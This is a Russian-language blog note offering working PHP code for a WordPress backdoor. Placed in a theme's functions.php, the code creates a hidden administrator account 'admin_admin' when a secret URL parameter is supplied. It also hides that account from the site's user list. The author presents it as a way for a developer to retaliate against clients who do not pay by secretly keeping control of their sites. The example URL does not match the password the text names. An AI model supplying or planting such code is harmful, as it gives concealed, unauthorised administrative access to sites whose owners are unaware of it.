Backdoor в wordpress (бэкдор в вордпресс)

Основной текст заметки

Зачастую бывает проще сразу сделать работу и выставить счет чем вести переписку. Но иногда клиент оказывается недобросовестным (вы конечно же не такой). И в таком случае разумно вернуть все в исходное состояние, удалив результаты своей работы.

И в этом нам помогает бэкдор. Самый простой способ посадить этого зверька в вордпресс - создать ссылку для добавления "тайного" админа.

Это делается просто - в файл functions.php темы пишется код приведенный ниже.

Теперь перейдя на сайт по ссылке вида https://site.site/registration=fuck&password=fuck2!fuck будет создан пользователь admin_admin с паролем переданным в параметре password - в данном случае fuck2!fuck

Для секретности мы закрываем эту ссылку паролем, который передается через параметр registration, в примере это test а 098f6bcd4621d373cade4e832627b4f6 - это md5 хеш этого пароля.

Программный код
function wp_registration_helper_specific_user($user_search)
{
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'admin_admin'", $user_search->query_where);
}
function wp_registration_helper()
{
    if ( md5( $_GET['registration'] ) == '098f6bcd4621d373cade4e832627b4f6' )
    {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'admin_admin' ) )
        {
            $user_id = wp_create_user( 'admin_admin', $_GET['password'] );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' );
        }
    }
}
add_action('pre_user_query','wp_registration_helper_specific_user');
add_action('wp_head', 'wp_registration_helper' );

Заметка написана: 07.06.2020

Теги заметки: Wordpress